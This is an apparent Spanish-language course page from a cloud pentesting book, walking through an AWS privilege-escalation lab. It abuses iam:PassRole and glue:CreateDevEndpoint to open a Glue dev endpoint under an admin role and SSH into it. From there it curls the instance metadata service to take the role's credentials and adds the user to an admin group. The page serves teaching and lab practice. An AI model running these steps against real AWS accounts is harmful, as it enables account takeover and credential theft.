> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/vectores-de-escalacion-de-privilegios/passexistingroletonewgluedevendpoint.md).

# PassExistingRoleToNewGlueDevEndpoint

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con los permisos `iam:PassRole` y `glue:CreateDevEndpoint` podría crear un nuevo punto de enlace de desarrollo de AWS Glue y pasarle un rol de servicio existente.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="/files/21aKA7zITSkCfsOWY2ED" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="/files/x3iUGlVHPnHhhxyTa70v" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="/files/kBS1yyxzniu1YFND96QO" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

{% code overflow="wrap" %}

```
aws iam list-attached-user-policies --user-name privesc18-PassExistingRoleToNewGlueDevEndpoint-user
```

{% endcode %}

<figure><img src="/files/D8y7NA7DVSWZ1VG2R6oj" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc18-PassExistingRoleToNewGlueDevEndpoint --version-id v1
```

{% endcode %}

<figure><img src="/files/Ss5UWDJxQqi80seyIaWS" alt=""><figcaption></figcaption></figure>

Para este escenario estaremos utilizando el siguiente rol:

<figure><img src="/files/tHoexmAuSpPvnOfiuRgs" alt=""><figcaption></figcaption></figure>

> Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a un Endpoint de desarrollo de Glue.

Para este laboratorio, debemos crear un par de llaves SSH.

Nosotros realizaremos este escenario desde un equipo Linux por cuestiones de agilidad:

Para la creación de una llave privada y pública de SSH, tenemos que ejecutar lo siguiente:

<figure><img src="/files/K1VFV5kLy2vjC9BwTCeT" alt=""><figcaption></figcaption></figure>

Estas claves de SSH, serán necesarias para la ejecución de los comandos posteriores.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc18-PassExistingRoleToNewGlueDevEndpoint-role --role-session-name privesc18
```

{% endcode %}

<figure><img src="/files/wHeN13spBQxSLMfHnmB2" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc3-CreateEC2WithExistingInstanceProfile-user**</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile privesc18
```

<figure><img src="/files/N7cvK7yiuhk5MRGP8Vsn" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile privesc18
```

<figure><img src="/files/4kHnFNmF9YFkeFRIf9gf" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc18-PassExistingRoleToNewGlueDevEndpoint-user --profile privesc18
```

{% endcode %}

<figure><img src="/files/drH8wLtvEDU7okCaemq7" alt=""><figcaption></figcaption></figure>

En este escenario, tenemos que aprovechar del privilegio de `glue:CreateDevEndpoint` para crear un punto de enlace de desarrollo en AWS Glue y este será creado utilizando un rol administrativo.

Posteriormente, utilizaremos el permiso `glue:GetDevEndpoint` para visualizar el hostname del equipo y posteriormente conectarnos por SSH con nuestra llave privada.

Ahora procedemos a crear un endpoint de desarrollo con el siguiente comando:

{% code overflow="wrap" %}

```
aws glue create-dev-endpoint --endpoint-name privesctest --role-arn arn:aws:iam::037572360634:role/privesc-high-priv-service-role --public-key file:///home/hacker/.ssh/id_rsa.pub --profile privesc18
```

{% endcode %}

<figure><img src="/files/gWmUX46pgRQIs0oaJhDS" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar el parámetro llamado public-key y en él se debe especificar la ruta en donde se aloja nuestra llave publica de SSH.

Ahora que hemos creado nuestro endpoint de desarrollo vamos aprovechar nuestro otro privilegio de `glue:GetDevEndpoint` para visualizar el PublicAddress y luego conectarnos con SSH.

Es importante mencionar, que la creación del enpoint de desarrollo toma unos minutos para ser creado y esto puede ser validado con el valor del objeto Status que retorna el próximo comando.

Si el valor de Status es igual a <mark style="color:orange;">PROVISIONING</mark> es porque aún no se ha creado totalmente el endpoint de desarrollo y debemos esperar un par de minutos más. Sin embargo, si su valor es <mark style="color:orange;">READY</mark> es porque ya podremos continuar con nuestra intrusión.

El comando para retornar información sobre el enpoint recién creado es:

```
aws glue get-dev-endpoint --endpoint-name privesctest --profile privesc18
```

<figure><img src="/files/bVNvKKCqjCOMjO5aec8S" alt=""><figcaption></figcaption></figure>

Ahora tomamos el valor del PublicAddress y ejecutamos el siguiente comando:

{% code overflow="wrap" %}

```
ssh glue@ec2-18-119-9-156.us-east-2.compute.amazonaws.com -i /home/hacker/.ssh/id_rsa
```

{% endcode %}

<figure><img src="/files/74HN6kTHHNNNHF7onQWZ" alt=""><figcaption></figcaption></figure>

Después de la conexión con SSH contra el endpoint de desarrollo de Glue, vamos a realizar una petición contra el servicio de metadatos con el objetivo de obtener unas claves de STS sobre el rol que especificamos en la creación del enpoint.

```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
```

<figure><img src="/files/vUdWn870sTCGkToPBMUf" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos identificar el AccessKeyId, SecretAccessKey y Token del rol llamado <mark style="color:orange;">**privesc-high-priv-service-role**</mark>.

Vamos a autenticarnos con estas credenciales en otra consola y validaremos nuestros permisos:

<figure><img src="/files/qZ2VYU4yjD7rFeoYFXTp" alt=""><figcaption></figcaption></figure>

Ahora procedemos a añadir nuestro usuario inicial al grupo de administradores con el objetivo de realizar una persistencia y elevar los permisos de nuestro usuario.

El comando para añadir a un usuario en un grupo es el siguiente:

<figure><img src="/files/HEF76hkZirbJshustHo9" alt=""><figcaption></figcaption></figure>

Para finalizar, vamos a validar los permisos para el grupo en el que hemos añadido a nuestro usuario inicial:

<figure><img src="/files/gbUaKV7WAeg2te4bWwO6" alt=""><figcaption></figcaption></figure>

Finalmente, hemos comprometido un rol administrativo por medio de la técnica previamente explicada.

> Nota: Los permisos `glue:GetDevEndpoint` y `glue:GetDevEndpoints` hacen lo mismo, excepto que `glue:GetDevEndpoints` devuelve todos los Endpoints. Cualquier de los dos permisos funciona para esta técnica de escalada de privilegios.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/vectores-de-escalacion-de-privilegios/passexistingroletonewgluedevendpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
